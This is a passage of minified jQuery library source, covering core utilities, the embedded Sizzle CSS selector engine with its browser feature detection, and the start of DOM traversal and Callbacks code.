a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(s,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(w(Object(a))?r.merge(c,"string"==typeof a?[a]:a):h.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:i.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;d<c;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;f<g;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,e,f=0,h=[];if(w(a))for(d=a.length;f<d;f++)e=b(a[f],f,c),null!=e&&h.push(e);else for(f in a)e=b(a[f],f,c),null!=e&&h.push(e);return g.apply([],h)},guid:1,proxy:function(a,b){var c,d,e;if("string"==typeof b&&(c=a[b],b=a,a=c),r.isFunction(a))return d=f.call(arguments,2),e=function(){return a.apply(b||this,d.concat(f.call(arguments)))},e.guid=a.guid=a.guid||r.guid++,e},now:Date.now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"length"in a&&a.length,c=r.type(a);return"function"!==c&&!r.isWindow(a)&&("array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=function(a,b){for(var c=0,d=a.length;c<d;c++)if(a[c]===b)return c;return-1},J="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",K="[\\x20\\t\\r\\n\\f]",L="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",M="\\["+K+"*("+L+")(?:"+K+"*([*^$|!~]?=)"+K+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+L+"))|)"+K+"*\\]",N=":("+L+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+M+")*)|.*)\\)|)",O=new RegExp(K+"+","g"),P=new RegExp("^"+K+"+|((?:^|[^\\\\])(?:\\\\.)*)"+K+"+$","g"),Q=new RegExp("^"+K+"*,"+K+"*"),R=new RegExp("^"+K+"*([>+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(N),U=new RegExp("^"+L+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"|[*])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),aa=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:d<0?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ba=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ca=function(a,b){return b?"\0"===a?"\ufffd":a.slice(0,-1)+"\\"+a.charCodeAt(a.length-1).toString(16)+" ":"\\"+a},da=function(){m()},ea=ta(function(a){return a.disabled===!0&&("form"in a||"label"in a)},{dir:"parentNode",next:"legend"});try{G.apply(D=H.call(v.childNodes),v.childNodes),D[v.childNodes.length].nodeType}catch(fa){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s=b&&b.ownerDocument,w=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==w&&9!==w&&11!==w)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(l[2])return G.apply(d,b.getElementsByTagName(a)),d;if((f=l[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.setAttribute("id",k=u),o=g(a),h=o.length;while(h--)o[h]="#"+k+" "+sa(o[h]);r=o.join(","),s=$.test(a)&&qa(b.parentNode)||b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("fieldset");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&a.sourceIndex-b.sourceIndex;if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.parentNode&&b.disabled===!1?"label"in b?"label"in b.parentNode?b.parentNode.disabled===a:b.disabled===a:b.isDisabled===a||b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function qa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return!!b&&"HTML"!==b.nodeName},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n&&(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(n.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}}):(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value===a)return[f];e=b.getElementsByName(a),d=0;while(f=e[d++])if(c=f.getAttributeNode("id"),c&&c.value===a)return[f]}return[]}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){if("undefined"!=typeof b.getElementsByClassName&&p)return b.getElementsByClassName(a)},r=[],q=[],(c.qsa=Y.test(n.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="<a id='"+u+"'></a><select id='"+u+"-\r\\' msallowcapture=''><option selected=''></option></select>",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){a.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"*[*^$|!~]?="),2!==a.querySelectorAll(":enabled").length&&q.push(":enabled",":disabled"),o.appendChild(a).disabled=!0,2!==a.querySelectorAll(":disabled").length&&q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Y.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"*"),s.call(a,"[s!='']:x"),r.push("!=",N)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Y.test(o.compareDocumentPosition),t=b||Y.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?la(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(S,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.escape=function(a){return(a+"").replace(ba,ca)},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(_,aa),a[3]=(a[3]||a[4]||a[5]||"").replace(_,aa),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return V.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&T.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(_,aa).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:!b||(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(O," ")+" ").indexOf(c)>-1:"|="===b&&(e===c||e.slice(0,c.length+1)===c+"-"))}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return U.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:pa(function(){return[0]}),last:pa(function(a,b){return[b-1]}),eq:pa(function(a,b,c){return[c<0?c+b:c]}),even:pa(function(a,b){for(var c=0;c<b;c+=2)a.push(c);return a}),odd:pa(function(a,b){for(var c=1;c<b;c+=2)a.push(c);return a}),lt:pa(function(a,b,c){for(var d=c<0?c+b:c;--d>=0;)a.push(d);return a}),gt:pa(function(a,b,c){for(var d=c<0?c+b:c;++d<b;)a.push(d);return a})}},d.pseudos.nth=d.pseudos.eq;for(b in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})d.pseudos[b]=ma(b);for(b in{submit:!0,reset:!0})d.pseudos[b]=na(b);function ra(){}ra.prototype=d.filters=d.pseudos,d.setFilters=new ra,g=ga.tokenize=function(a,b){var c,e,f,g,h,i,j,k=z[a+" "];if(k)return b?0:k.slice(0);h=a,i=[],j=d.preFilter;while(h){c&&!(e=Q.exec(h))||(e&&(h=h.slice(e[0].length)||h),i.push(f=[])),c=!1,(e=R.exec(h))&&(c=e.shift(),f.push({value:c,type:e[0].replace(P," ")}),h=h.slice(c.length));for(g in d.filter)!(e=V[g].exec(h))||j[g]&&!(e=j[g](e))||(c=e.shift(),f.push({value:c,type:g,matches:e}),h=h.slice(c.length));if(!c)break}return b?h.length:h?ga.error(a):z(a,i).slice(0)};function sa(a){for(var b=0,c=a.length,d="";b<c;b++)d+=a[b].value;return d}function ta(a,b,c){var d=b.dir,e=b.next,f=e||d,g=c&&"parentNode"===f,h=x++;return b.first?function(b,c,e){while(b=b[d])if(1===b.nodeType||g)return a(b,c,e);return!1}:function(b,c,i){var j,k,l,m=[w,h];if(i){while(b=b[d])if((1===b.nodeType||g)&&a(b,c,i))return!0}else while(b=b[d])if(1===b.nodeType||g)if(l=b[u]||(b[u]={}),k=l[b.uniqueID]||(l[b.uniqueID]={}),e&&e===b.nodeName.toLowerCase())b=b[d]||b;else{if((j=k[f])&&j[0]===w&&j[1]===h)return m[2]=j[2];if(k[f]=m,m[2]=a(b,c,i))return!0}return!1}}function ua(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function va(a,b,c){for(var d=0,e=b.length;d<e;d++)ga(a,b[d],c);return c}function wa(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;h<i;h++)(f=a[h])&&(c&&!c(f,d,e)||(g.push(f),j&&b.push(h)));return g}function xa(a,b,c,d,e,f){return d&&!d[u]&&(d=xa(d)),e&&!e[u]&&(e=xa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||va(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:wa(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=wa(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?I(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=wa(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ya(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ta(function(a){return a===b},h,!0),l=ta(function(a){return I(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];i<f;i++)if(c=d.relative[a[i].type])m=[ta(ua(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;e<f;e++)if(d.relative[a[e].type])break;return xa(i>1&&ua(m),i>1&&sa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(P,"$1"),c,i<e&&ya(a.slice(i,e)),e<f&&ya(a=a.slice(e)),e<f&&sa(a))}m.push(c)}return ua(m)}function za(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=E.call(i));u=wa(u)}G.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&ga.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=ya(b[c]),f[u]?d.push(f):e.push(f);f=A(a,za(e,d)),f.selector=a}return f},i=ga.select=function(a,b,c,e){var f,i,j,k,l,m="function"==typeof a&&a,n=!e&&g(a=m.selector||a);if(c=c||[],1===n.length){if(i=n[0]=n[0].slice(0),i.length>2&&"ID"===(j=i[0]).type&&9===b.nodeType&&p&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(_,aa),b)||[])[0],!b)return c;m&&(b=b.parentNode),a=a.slice(i.shift().value.length)}f=V.needsContext.test(a)?0:i.length;while(f--){if(j=i[f],d.relative[k=j.type])break;if((l=d.find[k])&&(e=l(j.matches[0].replace(_,aa),$.test(i[0].type)&&qa(b.parentNode)||b))){if(i.splice(f,1),a=e.length&&sa(i),!a)return G.apply(c,e),c;break}}}return(m||h(a,n))(e,b,!p,c,!b||$.test(a)&&qa(b.parentNode)||b),c},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("fieldset"))}),ja(function(a){return a.innerHTML="<a href='#'></a>","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){if(!c)return a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="<input/>",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){if(!c&&"input"===a.nodeName.toLowerCase())return a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(J,function(a,b,c){var d;if(!c)return a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);r.find=x,r.expr=x.selectors,r.expr[":"]=r.expr.pseudos,r.uniqueSort=r.unique=x.uniqueSort,r.text=x.getText,r.isXMLDoc=x.isXML,r.contains=x.contains,r.escapeSelector=x.escape;var y=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&r(a).is(c))break;d.push(a)}return d},z=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},A=r.expr.match.needsContext,B=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i,C=/^.[^:#\[\.,]*$/;function D(a,b,c){return r.isFunction(b)?r.grep(a,function(a,d){return!!b.call(a,d,a)!==c}):b.nodeType?r.grep(a,function(a){return a===b!==c}):"string"!=typeof b?r.grep(a,function(a){return i.call(b,a)>-1!==c}):C.test(b)?r.filter(b,a,c):(b=r.filter(b,a),r.grep(a,function(a){return i.call(b,a)>-1!==c&&1===a.nodeType}))}r.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if("string"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;b<d;b++)if(r.contains(e[b],this))return!0}));for(c=this.pushStack([]),b=0;b<d;b++)r.find(a,e[b],c);return d>1?r.uniqueSort(c):c},filter:function(a){return this.pushStack(D(this,a||[],!1))},not:function(a){return this.pushStack(D(this,a||[],!0))},is:function(a){return!!D(this,"string"==typeof a&&A.test(a)?r(a):a||[],!1).length}});var E,F=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,G=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||E,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:F.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),B.test(e[1])&&r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};G.prototype=r.fn,E=r(d);var H=/^(?:parents|prev(?:Until|All))/,I={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;a<c;a++)if(r.contains(this,b[a]))return!0})},closest:function(a,b){var c,d=0,e=this.length,f=[],g="string"!=typeof a&&r(a);if(!A.test(a))for(;d<e;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&r.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?r.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?i.call(r(a),this[0]):i.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(r.uniqueSort(r.merge(this.get(),r(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function J(a,b){while((a=a[b])&&1!==a.nodeType);return a}r.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return y(a,"parentNode")},parentsUntil:function(a,b,c){return y(a,"parentNode",c)},next:function(a){return J(a,"nextSibling")},prev:function(a){return J(a,"previousSibling")},nextAll:function(a){return y(a,"nextSibling")},prevAll:function(a){return y(a,"previousSibling")},nextUntil:function(a,b,c){return y(a,"nextSibling",c)},prevUntil:function(a,b,c){return y(a,"previousSibling",c)},siblings:function(a){return z((a.parentNode||{}).firstChild,a)},children:function(a){return z(a.firstChild)},contents:function(a){return a.contentDocument||r.merge([],a.childNodes)}},function(a,b){r.fn[a]=function(c,d){var e=r.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=r.filter(d,e)),this.length>1&&(I[a]||r.uniqueSort(e),H.test(a)&&e.reverse()),this.pushStack(e)}});var K=/[^\x20\t\r\n\f]+/g;function L(a){var b={};return r.each(a.match(K)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a="string"==typeof a?L(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h<f.length)f[h].apply(c[0],c[1])===!1&&a.stopOnFalse&&(h=f.length,c=!1)}a.memory||(c=!1),b=!1,e&&(f=c?[]:"")},j={add:function(){return 